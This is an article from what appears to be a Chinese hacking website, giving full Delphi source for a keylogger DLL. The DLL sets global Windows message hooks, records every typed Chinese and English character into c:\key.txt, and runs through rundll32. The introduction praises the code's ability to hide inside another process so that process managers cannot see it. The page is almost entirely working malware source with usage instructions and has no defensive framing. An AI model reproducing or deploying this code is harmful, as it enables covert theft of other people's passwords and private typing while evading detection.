|
|
| 首页 | 技术文章 | 软件下载 | 博客 | 论坛 | 精品教程 | 黑客动画 | 视频资源 | 在线服务 | 黑客游戏 | | ||||
|
|
||||||||
|
||||||||
|
|||||
| 过滤wm_char,和wm_ime_char消息,得到键盘输入的任何字中英文字符的例子 | |||||
作者:不详 文章来源:CnXHacker.Net 点击数: 更新时间:2007-5-7 ![]() |
|||||
|
这个好像是隐藏进程的例子,运行后只看到RUNDLL32.exe而看不到Getkey.dll,再跳一下就彻底隐藏,用进程管理软件也看不出来. 其实这个把自己挂到别的进程空间里运行而隐藏自己的方法最早是BO2K小组成员提出来的,现在国内很多软件开始用它了,象那个什么"网络实名",你比较难删除它. 我想起<<赌神>>里面的一句话:你用的液晶是美国两年前落后产品.呵呵.可爱的体制教育,你只能培养出垃圾,所以老在别人后面跑. {本程序能过滤wm_char,和wm_ime_char消息,所以能得到键盘输入的任何字中英文字符,结果存在C;\key.txt中,使用方法为: rundll32 GetKey.dll,run } library GetKey; uses windows,messages,sysutils; {$r *.res} const HookMemFileName=’HookMemFile.DTA’; type PShared=^TShared; PWin=^TWin; TShared = record HHGetMsgProc:HHook; HHCallWndProc:HHook; Self:integer; Count:integer; hinst:integer; end; TWin = record Msg:TMsg; wClass:TWndClass; hMain:integer; end; var MemFile:THandle; Shared:PShared; Win:TWin; procedure SaveInfo(str:string);stdcall; var f:textfile; begin assignfile(f,’c:\key.txt’); if fileexists(’c:\key.txt’)=false then rewrite(f) else append(f); if strcomp(pchar(str),pchar(’#13#10’))=0 then writeln(f,’’) else write(f,str); closefile(f); end; procedure HookProc(hWnd:integer;uMessage:integer;wParam:WPARAM;lParam:LPARAM);stdcall; begin if (uMessage=WM_CHAR) and (lParam<>1) then begin SaveInfo(format(’%s’,[chr(wparam and $ff)])); inc(shared^.count); if shared^.count>60 then begin SaveInfo(’#13#10’); shared^.count:=0; end; end; if (uMessage=WM_IME_CHAR) then begin SaveInfo(format(’%s%s’,[chr((wparam shr 8) and $ff),chr(wparam and $ff)])); inc(shared^.count,2); end; end; function GetMsgProc(nCode:integer;wParam:WPARAM;lParam:LPARAM):LRESULT;stdcall; var pcs:PMSG; hd,uMsg,wP,lP:integer; begin pcs:=PMSG(lParam); if (nCode>=0) and (pcs<>nil) and (pcs^.hwnd<>0) then begin hd:=pcs^.hwnd; uMsg:=pcs^.message; wp:=pcs^.wParam; lp:=pcs^.lParam; HookProc(hd,uMsg,wp,lp); end; Result:=CallNextHookEx(shared^.HHGetMsgProc,nCode,wParam,lParam); end; function CallWndProc(nCode:integer;wParam:WPARAM;lParam:LPARAM):LRESULT;stdcall; var pcs:PCWPSTRUCT; hd,uMsg,wP,lP:integer; begin pcs:=PCWPSTRUCT(lParam); if (nCode>=0) and (pcs<>nil) and (pcs^.hwnd<>0) then begin hd:=pcs^.hwnd; uMsg:=pcs^.message; wp:=pcs^.wParam; lp:=pcs^.lParam; HookProc(hd,uMsg,wp,lp); end; Result:=CallNextHookEx(shared^.HHCallWndProc,nCode,wParam,lParam); end; procedure SetHook(fSet:boolean); begin with shared^ do if fSet=true then begin if HHGetMsgProc=0 then HHGetMsgProc:=SetWindowsHookEx(WH_GETMESSAGE,@GetMsgProc,hinstance,0); if HHCallWndProc=0 then begin HHCallWndProc:=SetWindowsHookEx(WH_CALLWNDPROC,@CallWndProc,hinstance,0); if HHCallWndProc=0 then UnhookWindowsHookEx(HHGetMsgProc); end; end else begin if HHGetMsgProc<>0 then UnhookWindowsHookEx(HHGetMsgProc); if HHCallWndProc<>0 then UnhookWindowsHookEx(HHCallWndProc); HHGetMsgProc:=0; HHCallWndProc:=0; end; end; procedure Extro; begin UnmapViewOfFile(Shared); CloseHandle(MemFile); end; function WindowProc(hWnd,Msg,wParam,lParam:longint):LRESULT; stdcall; begin Result:=DefWindowProc(hWnd,Msg,wParam,lParam); case Msg of wm_destroy: begin SetHook(False); ExitThread(0); freelibrary(shared^.hinst); // TerminateThread(); //exitprocess(0); end; end; end; procedure run;stdcall; begin win.wClass.lpfnWndProc:= @WindowProc; win.wClass.hInstance:= hInstance; win.wClass.lpszClassName:=’GetKey’; RegisterClass(win.wClass); win.hmain:=CreateWindowEx(ws_ex_toolwindow,win.wClass.lpszClassName,’GetKey’,WS_CAPTION,0,0,1,1,0,0,hInstance,nil); FillChar(Shared^,SizeOf(TShared),0); shared^.self:=win.hmain; shared^.hinst:=hinstance; SetHook(true); postmessage(findwindow(’WinExec’,nil),wm_destroy,0,0); while(GetMessage(win.Msg,win.hmain,0,0))do begin TranslateMessage(win.Msg); DispatchMessage(win.Msg); end; end; procedure DllEntryPoint(fdwReason:DWORD); begin case fdwReason of DLL_PROCESS_DETACH: Extro; end; end; exports run; begin //建立内存映象文件,用来保存全局变量 MemFile:=CreateFileMapping($FFFFFFFF,nil,PAGE_READWRITE,0,SizeOf(TShared),HookMemFileName); Shared:=MapViewOfFile(MemFile,FILE_MAP_WRITE,0,0,0); DLLProc:=@DllEntryPoint; end. |
|||||
| 文章录入:IceRiver 责任编辑:admin | |||||
| 【发表评论】【加入收藏】【告诉好友】【打印此文】【关闭窗口】 | |||||
网友评论:(只显示最新5条。评论内容只代表网友观点,与本站立场无关!) |
| 关于我们 - 版权声明 - 帮助(?) - 广告服务 - 联系我们 - 友情链接 - 用户注册 - | Powered by ICE RIVER - STUDIO |
| » CnXHacker.CoM | © CopyRight 2002-2006, CnXHacker.CoM™, Inc. All Rights Reserved. |